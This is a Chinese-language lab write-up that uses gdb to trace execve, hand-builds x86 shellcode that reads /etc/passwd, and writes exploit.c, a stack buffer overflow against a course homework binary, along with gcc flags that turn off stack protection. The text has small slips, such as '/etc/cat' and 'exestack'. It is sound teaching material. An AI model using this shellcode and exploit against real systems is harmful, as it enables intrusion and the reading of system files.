gdb-study-2
实验要求

本文环境:
unbuntu 16.04 x86
0x00
编写shell程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   | #include<stdio.h> #include <unistd.h> void foo() { 	char * name[3]; 	name[0] = "/bin/cat"; 	name[1] = "/etc/passwd"; 	name[2] = NULL; 	execve(name[0], name, NULL); } int main(int argc, char * argv[]) { 	foo(); 	return 0; }
   | 
 
0x01
    用gdb跟踪shell的运行,确定执行execve的系统功能调用号及其它寄存器的值:

    调试并运行:


    在此将进入内核的虚拟系统调用。反汇编__kernel_vsyscall,设置断点,继续执行直到sysenter指令。


 因此,执行sysenter之前寄存器的值为: **eax保存execve的系统调用号11; ebx保存字符串name[0]=”/bin/cat”这个指针; ecx保存字符串数组name这个指针; edx为0。**
    如果用相同的寄存器的值调用sysenter,则可以不调用execve函数, 也可以实现相同的目标。
0x02
    用功能调用实现execve (shell_asm.c)。其中,%eax内存0xb,%ebx内存”/etc/cat”,%ecx内存”/etc/passwd”。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | #include<stdio.h> #include <unistd.h> void foo() {  	__asm__( 		"mov $0x0,%edx ;" 		"push %edx ;"	 		"push $0x7461632f ;" 		"push $0x6e69622f ;" 		"mov %esp,%ebx ;" 		"push %edx ;"	 	 	"push $0x00647773 ;" 		"push $0x7361702f ;" 		"push $0x6374652f ;" 	  	"mov %esp,%ecx ;"   	  	"push %edx ;"	 	    "push %ecx ;"    	    "push %ebx ;"    	   	"mov %esp,%ecx ;"   	  	"mov $0xb,%eax ;" 		"int $0x80 ;" 		 		); } int main(int argc, char * argv[]) {  	foo();  	return 0;  }
   | 
 
    运行后发现和shell程序执行一样的功能。
    接着使用objdump反汇编操作码,并将操作码字符串保存为shellcode。

    shellcode如下:
1
   | char shellcode[] = "\xba\x00\x00\x00\x00\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x77\x64\x00\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"
   | 
 
    执行如下程序:(要加堆栈可执行)
1 2 3 4 5
   | char shellcode[] = "\xba\x00\x00\x00\x00\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x77\x64\x00\x68\x2f\x70\x61\x73\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; void main() {     ((void (*)())shellcode)(); }
   | 
 

    虽然该shellcode能实现期望的功能,但shellcode中存在字符’\x00’ , 而’\x00’是字符串结束标志。由于shellcode是要作为字符串拷贝到缓冲区中去的,在’\x00’之后的代码将丢弃。因此,shellcode中不能包含’\x00’ 。
    有两种方法避免shellcode中的’\x00’: 
(1) 修改汇编代码,用别的汇编指令代替会出现机器码’\x00’的汇编 指令,比如用xor %edx,%edx代替mov $0x0,%edx。这种方法适合 简短的shellcode; 
(2) 对shellcode进行编码,把解码程序和编码后的shellcode作为新的shellcode。
    修改后的汇编代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | #include<stdio.h> #include <unistd.h> void foo() {  	__asm__( 		"xor %edx,%edx ;"  		"push %edx ;"	 		"push $0x7461632f ;" 		"push $0x6e69622f ;" 		"mov %esp,%ebx ;" 		"push %edx ;"	 	 	"push $0x64777373 ;" 		"push $0x61702f2f ;" 		"push $0x6374652f ;"  	  	"mov %esp,%ecx ;"   	  	"push %edx ;"	 	    "push %ecx ;"  	    "push %ebx ;"   	   	"mov %esp,%ecx ;"   	  	"lea 0xb(%edx),%eax ;"  		"int $0x80 ;" 		 		); } int main(int argc, char * argv[]) {  	foo();  	return 0;  }
   | 
 

    提取出有效shellcode为,运行一下也是成功的。
1 2 3 4 5 6 7
   | #include<stdio.h> #include <unistd.h> char shellcode[] = "\x31\xd2\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\x8d\x42\x0b\xcd\x80";    void main() {     ((void (*)())shellcode)(); }
   | 
 
0x03
目标:利用0x02中构造的shellcode攻击 homework09 (见我github的re_files)。
    首先用gdb看一下homework09。(注意要新建一个SmashSmallBuf.bin,否则调试时会出现错误)




    由此可知,应该在largebuf+128处放置攻击代码的跳转地址,shellcode必须放在largebuf+128+4= largebuf+132之后的位置。为了让攻击串适用于较大一些的缓冲区,将其放在largebuf - ( strlen(shellcode) +1) 开始的位置。
    构造exploit.c。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
   | #include<stdio.h> #include <unistd.h> #define SMALL_BUFFER_START 0xbfffeb7c #define ATTACK_BUFF_LEN 1024 char shellcode[] = "\x31\xd2\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\x52\x51\x53\x89\xe1\x8d\x42\x0b\xcd\x80"; void ShellCodeSmashSmallBuf() { 	char attackStr[ATTACK_BUFF_LEN]; 	unsigned long *ps; 	FILE *badfile; 	memset(attackStr, 0x90, ATTACK_BUFF_LEN); 	strcpy(attackStr + (ATTACK_BUFF_LEN - strlen(shellcode) - 1), shellcode); 	ps = (unsigned long *)(attackStr+128); 	*(ps) = SMALL_BUFFER_START + 0x100; 	attackStr[ATTACK_BUFF_LEN-1] = 0; 	badfile = fopen("./SmashSmallBuf.bin", "w"); 	fwrite(attackStr, strlen(attackStr), 1, badfile); 	fclose(badfile); } int main() {	 	ShellCodeSmashSmallBuf(); 	return 0; }
   | 
 
    运行结果如下,可以看到,exploit.c对homework09进行了有效的攻击。

知识点1:
x86的汇编语法常见的有AT&T和 Intel。 Linux下的编译器和调试器使用的是AT&T语法(mov src, des)。Win32下的编译器和调试器使用的是Intel语法(mov des, src)。
知识点2:
英特尔32位架构(英语:Intel Architecture, 32-bit,缩写为IA-32),常被称为i386、x86-32或是x86。
知识点3:
1 2 3 4 5 6
   | gdb 命令补充: disp /i $eip //查看eip此时的值,十六进制 ni/si都是汇编级别的断点定位。si会进入汇编和C函数内部,ni不会。他俩都是每执行一次走一步,相当于ni是步过,si是步进。 i reg //查看当前断点的所有寄存器值//i reg = info register $pc //代表当前汇编指令 p //打印某个东西,比如 p /x 0x11-0x09
   | 
 
知识点4:
静态链接时,采用”call _dl_sysinfo”指令;动态链接时,采用”call %gs:0x10”指令;
知识点5:
指令 sysenter 是快速系统调用功能的一部分 。 指令 sysenter 进行过专门的优化,能够以最佳性能转换到保护环 0 (CPL 0 。sysenter 是 int $0x80 的替代品,实现相同的功能 。int $0x80 是一条AT&T语法的中断指令,用于Linux的系统调用。

知识点6:
1 2
   | gcc -z exestack //启用可执行的栈 gcc -fno-stack-protector //禁用堆栈保护
   | 
 
知识点7:
objdump命令是用查看目标文件或者可执行的目标文件的构成的gcc工具。
1 2 3
   | --disassemble  -d  //从objfile中反汇编那些特定指令机器码的section。
   |